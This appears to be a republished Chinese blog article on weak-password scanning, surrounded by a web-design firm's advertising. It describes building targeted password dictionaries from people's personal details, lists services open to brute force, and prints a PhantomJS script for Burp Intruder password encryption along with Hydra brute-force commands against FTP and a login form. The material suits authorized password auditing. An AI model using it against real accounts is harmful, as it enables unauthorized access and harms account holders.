宜宾网站建设公司

javascript弱口令扫描实例分析

今天小编给大家分享一下javascript弱口令扫描实例分析的相关知识点，内容详细，逻辑清晰，相信大部分人都还太了解这方面的知识，所以分享这篇文章给大家参考一下，希望大家阅读完这篇文章后有所收获，下面我们一起来了解一下吧。

双江网站建设公司成都创新互联公司,双江网站设计制作，有大型网站制作公司丰富经验。已为双江1000+提供企业网站建设服务。企业网站搭建\外贸网站建设要多少钱，请找那个售后服务好的双江做网站的公司定做！

1 弱口令

推荐 github 上的弱口令字典

2 生成社工属性的弱口令

宗旨是生成能满足密码复杂度要求又好记的密码。

2.1 获取账号

获取用户账号的方式：

  • 中国常用名 Top500，常见组合：

    • 拼音的全拼+[数字]

    • 姓全拼+名的首字母+[数字]

  • 招聘网站

  • 社交工具（脉脉）

  • Google hacking

  • 工号

2.2 密码分片

用户个人信息相关

  • 姓名、昵称、ID、QQ

  • 生日，男/女友生日，特殊纪念日

  • 手机号，男/女友手机号

  • 父母亲人相关信息

  • 公司相关信息（域名、邮箱、公司电话、部门等）

习惯习性

  • 键盘分布，SHIFT+键盘布局

  • 特殊节日、纪念日、年份

  • 好记的数字组合、字母组合

  • 好记的特殊字符组合

  • 特殊含义的单词

  • 特殊含义的字母数字替换（我-5，是-4，o-0）

2.3 组合方式

由被检查方提供一份经常使用的默认密码清单最好，下面是其他的一些组合方式：

  • 有社工密码可以根据之前的密码使用历史记录针对性的生成组合。

  • 部门的密码使用习惯，趋于一致。

  • 有含义字符@有含义数字，如姓名全拼@2017。

下面一张图可以参考下

javascript弱口令扫描实例分析

2.4 字典生成工具

白鹿社工字典生成器

javascript弱口令扫描实例分析

genpAss

javascript弱口令扫描实例分析

3 弱口令相关服务

所有可能存在未授权访问类的服务

  • 远程维护类服务（SSH、Tenlent、RDP 等）；

  • 数据库服务（MySQL、MSSQL、Oracle 、ES、MongoDB 等）；

  • 缓存类服务（redis、Kafka）；

  • 大数据相关服务；

  • 云环境各类接口、Docker 环境各类接口；

  • 各种 Web 应用系统、手机程序、小程序等。

4 爆破工具

4.1 Burp Intruder

使用示例
步骤：

  1. 尝试登录，使用浏览器调试模式寻找加密函数所在的 js 文件，通常再调试模式下选取登录元素，搜索使用的函数信息；

  2. 通过检查推导调用关系找到最终使用的加密 js 文件；

  3. 将加密 js 文件下载到本地；

  4. 利用 jsEncrypter 的 js 摸板加载使用的加密函数；

  5. 使用 phantomjs 加载 jsEncrypter 的 js 摸板；

  6. 使用 Burp 的 jsEncrypter 扩展连接 phantomjs 开启的服务；

  7. 测试加密效果；

  8. 使用 Burp Intruder 的 payload 处理功能，加载 jsEncrypter 对明文密码处理后执行爆破。

基础的 js 脚本
 

/**
* author: c0ny1
* date: 2017-12-16
* last update: 2019-5-30 11:16
*/
var fs = require('fs');
var logfile = 'jsEncrypter.log';
var webserver = require('webserver');
server = webserver.create();

var host = '127.0.0.1';
var port = '1664';

// 加载实现加密算法的js脚本
var wasSuccessful = phantom.injectJs('md5.js');/*引入实现加密的js文件*/

// 处理函数
function js_encrypt(payload){
   var newpayload;
   /**********在这里编写调用加密函数进行加密的代码************/
   var newpayload = hex_md5(payload)+"djmis";


   /**********************************************************/
   return newpayload;
}

if(wasSuccessful){
   console.log("[*] load js successful");
   console.log("[!] ^_^");
   console.log("[*] jsEncrypterJS start!");
   console.log("[+] address: http://"+host+":"+port);
}else{
   console.log('[*] load js fail!');
}

var service = server.listen(host+':'+port,function(request, response){
   try{
       if(request.method == 'POST'){
           var payload = request.post['payload'];
           var encrypt_payload = js_encrypt(payload);
           var log = payload + ':' + encrypt_payload;
           console.log('[+] ' + log);
           fs.write(logfile,log + '\n', 'w+');
           response.statusCode = 200;
           response.write(encrypt_payload.toString());
           response.close();
       }else{
             response.statusCode = 200;
             response.write("^_^\n\rhello jsEncrypter!");
             response.close();
       }
   }catch(e){
       //console.log('[Error]'+e.message+' happen '+e.line+'line');
       console.log('\n-----------------Error Info--------------------')
       var fullMessage = "Message: "+e.toString() + ':'+ e.line;
       for (var p in e) {
           fullMessage += "\n" + p.toUpperCase() + ": " + e[p];
       }
       console.log(fullMessage);
       console.log('---------------------------------------------')
       console.log('[*] phantomJS exit!')
       phantom.exit();
   }  
});

效果

javascript弱口令扫描实例分析

4.2 Hydra

使用-h获取使用帮助，提供几个使用示例

hydra -l admin -p password ftp://localhost/
hydra -L default_logins.txt -p test ftp://localhost/
hydra -l admin -P common_passwords.txt ftp://localhost/
hydra -L logins.txt -P passwords.txt ftp://localhost/

hydra 爆破 HTTP 请求

hydra -l admin -p password 192.168.43.131 http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect."

4.3 超级弱口令检查工具

图形界面

javascript弱口令扫描实例分析

以上就是“javascript弱口令扫描实例分析”这篇文章的所有内容，感谢各位的阅读！相信大家阅读完这篇文章都有很大的收获，小编每天都会为大家更新不同的知识，如果还想学习更多的知识，请关注创新互联行业资讯频道。


本文标题：javascript弱口令扫描实例分析
本文链接：http://hbruida.cn/article/ggddco.html

其他资讯